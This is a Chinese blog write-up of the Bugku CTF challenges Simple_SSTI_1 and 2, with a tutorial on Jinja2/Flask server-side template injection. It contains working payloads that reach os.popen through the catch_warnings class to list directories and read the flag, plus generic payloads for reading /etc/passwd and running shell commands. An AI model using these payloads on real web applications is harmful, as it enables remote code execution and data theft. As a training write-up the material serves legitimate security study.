bugku Simple_SSTI_1and 2(SSTI模板注入)

1.Simple_SSTI_1在这里插入图片描述在这里插入图片描述2.Simple_SSTI_2
在这里插入图片描述输入:http://114.67.175.224:15355/?flag={%%20for%20c%20in%20[].class.base.subclasses()%20%}{%%20if%20c.name%27catch_warnings%27%20%}{{%20c.init.globals[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27ls%20/app/%27).read()%22)}}{%%20endif%20%}{%%20endfor%20%}在这里插入图片描述
找到其中的flag文件
http://114.67.175.224:15355/?flag={%%20for%20c%20in%20[].class.base.subclasses()%20%}{%%20if%20c.name
%27catch_warnings%27%20%}{{%20c.init.globals[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27cat%20fl4g%20/app/flag%27).read()%22)}}{%%20endif%20%}{%%20endfor%20%}
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

SSTI模板注入

1.SSTI含义

SSTI是一种注入类的漏洞,其成因也可以类比SQL注入.SSTI利用的是现有的网站模板引擎,主要针对Python、PHP、JAVA的一些网站处理框架,比如Python的jinja2、mako、tornado、Django,PHP的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候,在过滤不严情况下,通过构造恶意输入数据,从而达到getshell或其他目的。

2.flask原理基础

flask的渲染方法有render_template和render_template_string两种。

render_template()是用来渲染一个指定的文件的。return render_template(‘index.html’)
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

html = '<h1>This is index page</h1>'
return render_template_string(html)

flask是使用Jinja2来作为渲染引擎的。

不正确的使用flask中的render_template_string方法会引发SSTI。

3.方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

函数

config:
{{config}}可以获取当前设置,
如果题目类似app.config [‘FLAG’] =(‘FLAG’),那可以直接访问{{config[‘FLAG’]}}或者{{config.FLAG}}得到flag

self
{{self.dict._TemplateReference__context.config}} ⇒ 同样可以找到config

1 、获取字符串的类对象

>>> ''.__class__
<type 'str'>

2 、寻找基类

>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

3 、寻找可用引用

>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

4 、利用之

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

以上就是大致的思路,但是根据不同的情况,最后的利用部分构造的代码会不太一样。不过大同小异。

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}  
  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    {% if 'eval' in b.keys() %}    //找到了
      {{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

查找文件
在jinja2中,存在三种语法:

控制结构 {% %}
变量取值 {{ }}
注释 {# #}
将ls 改成cat fl4g,就可以读取flag了

最后再总结一下解题思路
1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__或者__mro__拿到基类(<class ‘object’>3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell
5.接下来只要找到能够利用的类(方法、函数)就好

查找根目录

{% for c in [].__class__.__base__.__subclasses__() %}
 {% if c.__name__=='catch_warnings' %}
  {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
 {% endif %}
{% endfor %}

其中ls / 用于修改
/后面加地址
将ls 改成cat fl4g查看内容
  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值